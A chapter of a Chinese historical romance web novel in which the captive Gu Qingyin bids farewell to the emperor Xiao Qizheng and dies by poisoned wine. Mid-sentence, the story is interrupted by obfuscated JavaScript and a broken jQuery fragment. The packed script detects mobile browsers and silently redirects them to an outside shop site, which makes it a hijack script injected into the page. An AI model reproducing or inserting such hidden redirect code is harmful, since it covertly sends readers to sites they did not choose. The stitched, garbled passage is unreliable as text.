“不要。”
谷清音瞪大眼睛咽了咽口水,见他不松口便起身蹲下,捡起地上的糕点咬了一口,箫祁政才将她扶起,“这是做什么?”
夺过她手上的糕点扔回地上。
替她擦拭着嘴角,“想求情不用这样的。”
“阿音。”
箫祁政收回手静静看着她,等着她接下来的动作,可是……她好像并不愿意低头呢。
“来……”
“放她一命。”犹豫一瞬谷清音走上前抱住了箫祁政,“求你。”
箫祁政十分满意的轻抚她的头,“好。”
“我要走了,阿音还有什么要说的吗?”虽是这样说着,可这是谷清音第一次主动抱他,他并不想松手。
“我这里不用宫人伺候。”
“这可不行哦。”
谷清音见他拒绝便松开了他,低垂着眼眸,有些委屈,“我又不是娇生惯养大的。”不需要别人照顾,再说了这些人她又不熟。
若是非得找人看着她,便找个她认识的吧。
再说了,“将他们遣走你来陪我不好吗。”
不答应谷清音便捉着他的手轻轻晃着,十分委屈的撇着嘴。
“好。”
“我让慕珂来陪你。”
“真的吗?”说着她抿嘴一笑,扶着这箫祁政的肩膀踮起脚尖,嘴唇轻轻碰到他的脸颊,趁他还没反应过来搂着他的脖子抱住了他,“去忙吧,我等你回来。”
说完她就松开了手,往后退了一步,脸上仍旧挂着淡淡的笑。
箫祁政愣住了,眼中满是欣喜,只是谷清音并不知道,只是见眼前的人影一动不动便抬手朝他挥了挥,“拜拜。”
直到人影消失才放下手。
原本挂在嘴角的笑容也瞬间消失不见,用力的擦着嘴唇,蹭红了才罢休。
出去时,外头果然没人再议论了,随意摩挲着找了一个有太阳晒着的地方席地而坐,没一会儿慕珂便来了。
“姑娘,地上凉。”
“我将椅子搬来了。”
谷清音转头看去,隐约看着她俯身伸出了手,便也伸出手任她拉着站起身坐下,又去找了个薄毯盖在她的腿上,便站在一旁候着。
过了一会儿,“没太阳了,换个地方吧。”
“姑娘稍等一会儿。”
见慕珂离开,谷清音连忙站起了身,腿上的毯子也随着滑落,“小公子。”
听到这个称呼慕珂愣了一下才转过身。
“你……”
好像有什么东西在脑海里炸开,可一切又是那般让人不敢相信。
“长公主是服毒自尽吗?”
慕珂走近将地上的摊子捡起搭在椅子上,没有回答她的问题,也算是默认了她的说法。
“其实……”有一件事,思索了许久还是应当让她知道的,“那毒是我做的。”
“为什么?”
脑海中浮现起箫婉兮那时痛苦的模样慕珂的眼神慢慢变得狠厉,握着剑柄的手不断用力,仿佛下一秒就要失去了理智。
“对不起。”
“我不知道他会将那药给长公主。”
他?“你觉得我会信吗?”箫祁政再怎么都是箫婉兮的兄长,怎么会害她。
慕珂也只当是谷清音想要让他救她编出来的谎话罢了。
谷清音轻轻摇了摇头,重新坐了回去,“我告诉你这些不是想让你做什么。”
她如今已经落得这般境地了,无论是生是死对她来说都不重要了,只是……“你应当知道,说出来我也能好受些。”
谁都没想到箫祁政为了保全皇家颜面会逼迫箫婉兮服下毒药,死在外面,对外又说她是死在容国人之手的。
“我知道了。”
“小公子,可以帮我个忙吗?”
慕珂对她所说的话依旧存疑,她提出问题时慕珂便静静看着,看她能做什么,就见谷清音将左手腕上的镯子取下,捧在手心朝着他的方向递出。
“那日忘记了。”
“劳烦让它替我陪着花芷吧。”
谷清音眼中闪烁着点点水光,慕珂没有犹豫,拿过那对手镯收起,“好。”
“谢谢。”泪水滑落,这一次她的笑是发自内心的。
“对了,院子里的海棠花树是陛下特意从王府移过来的。”只是,谷清音好像一直都没注意到,听到这个消息也只是微微点了点头。
慕珂日日都会在这里守着,陪谷清音聊天,也不至于太无趣。
一个月后,今日外头的天色比往常要暗些,连风都格外的冷些,慕珂还是一样的时辰提着食盒到了谷清音这儿。
“姑娘……陛下一会儿便来了……”说着她打开食盒将里面的盘子都摆了出来,“快些吃吧。”
“嗯。”
谷清音走近坐下,察觉到她的不对劲却也没有多问,只是……这味道……“是有酒吗?”
“嗯。”
酒壶打开一股香味扑面而来,这……“是栀子花香?”
“嗯,姑娘尝尝。”
“好。”
她的酒量本是不好的,便想先吃点东西垫垫,可慕珂却一直催她先尝尝,不得已只好端起酒杯贴近嘴边的一瞬,愣住了。
这酒……有毒?
“谢谢。”但是……她现在不能喝,不然便是害了慕珂。
起身摸索着将手中的毒酒藏在远处的梳妆台的铜镜后,又坐了回去,“明日。”
脚步声?
他来了吗,“别忘了,明日。”
说着她便将桌子上的东西全被她打到了地上,摔了个稀碎,刚走到外面的箫祁政便听到了里面的动静,“阿音?”
“滚。”
“怎么了?”箫祁政连忙走近将泣不成声的谷清音搂在怀里,细心的为她擦拭着泪水。
“让她收拾了滚。”
箫祁政冲慕珂使了一个眼色,便拉着谷清音离开了。
给她找了件外披牵着她的手走到了院子里的海棠花树下,“坐。”
在箫祁政的指引下坐下,手紧紧捉着旁边的绳索,“秋千?”
感受着身体的轻轻晃动,不觉心头一惊却还是扯出一丝牵强的的笑。
“阿音。”
“嗯。”
相处了这么久,“你对我…有……”哪怕一丝的,“心动吗?”这一世,虽将她留在身边了,哪怕不是真心,箫祁政也想听到她说出那句话。
“唉。”轻叹一声垂下了头,她已经不记得这是第几次听到这个问题了。
箫祁政应当知道,这一世…她们第一次见面,谷清音便是带着目的的,蓄意为之,那时她便同等的痛恨每一个享皇权之人,又何必问出这个问题自欺欺人呢。
“你知道吗?我真的…真的好恨你……”可是她不能杀他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14192134|146906||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
恨吗?箫祁政推秋千的手一顿,其实……“有恨也好。”苦笑一声,继续将秋千推起。
“那如若孤执意要你呆在我身边呢?”
也许,她早就知道真正的他是何般模样,可,箫祁政根本不了解她,“那我便是下一个肖氏!”毕竟,她已经无牵无挂了。
“阿音——”
“我们……日后,还能相见吗?”
箫祁政早已松开了手,晃动的秋千缓缓停下,谷清音站起来了身,却没有回头看她,“或许,你该明白,你对我只是……”世世求而不得的,“执念罢了。”
“我不知会飘向何处,可……”
“若是天下太平……你我终会相见。”或许会是一阵清风……只要能吹散他心中的执念便好,若是能止住他的杀戮,她才能真的安心。
说着谷清音已经走到了树干旁,手轻轻抚上那粗壮的树干,“我记得皇后自小便喜爱海棠。”
“嗯,阿音……我走了。”
“好。”
箫祁政转过身微微仰头,沾着泪水的睫毛扑闪着,不知何时声音也哽咽了。
看向越来越远的模糊身影,“原来……”他已经知道了吗?就是不知他怎么突然就愿意放过她了呢。
次日,谷清音起的很早,坐在铜镜前端起酒杯的瞬间,便听到了鸟儿的啼叫声,或许……今日会是她最喜欢的晴天吧。
“噗!”
“咳咳。”鲜红的血液喷洒在铜镜上。
“砰。”手中的酒杯被丢到地上,纤长的手指划过镜面,“对不起……”
不知是看到了谁,不过……死亡好像也没有那么痛苦嘛。
等慕珂带人来时,谷清音已经彻底闭上了眼,晋无忧走近将她抱起时,看到她的嘴角还有淡淡的笑意。
“唉。”
“何苦呢。”若是听她的不来,又怎么会受这一遭罪。
出去时,箫祁政才姗姗来迟。
“等一下。”
箫祁政走近晋无忧便往后退,面具之下全是不耐烦的神色,“当初可说好了,她的尸身我必须带走。”
“陛下难道要食言?”
“不,我……”只是想在看她最后一眼,可晋无忧可懒得听他磨叽,绕过他们便径直离开了。
那一夜箫祁政在海棠树下坐了许久,也想了许久。
一年又一年,一切都还在有序推进。
箫祁政停止了对其他小国的讨伐,休养生息,推广教育,设立学堂,人人皆可入学读书……
日益繁荣昌盛。
赵云归作为皇后也为后宫添了不少新人,却依旧无一人诞下龙嗣,他心不在此,赵云归也不好多说什么。
……
谷清音离开的第四年。
箫祁政终于想起命人将那棵海棠花树移植到了凤仪宫中。
一日,赵云归送走沈明昭后不自觉站在海棠树下出了神,连渐渐走近的脚步声都没注意到。
“皇后在想什么?”
“陛下!”正欲行礼箫祁政扶住了他,摇了摇头,赵云归便重新抬头看向这开的正好的海棠花。
“臣妾在想……”
察觉到她的疑虑箫祁政冲她淡淡一笑,“皇后但说无妨。”
赵云归抬起手,随风飘落的海棠花落到了她的手心,又被吹落到地上,“若是臣妾当初帮了姐姐,会是怎样呢?”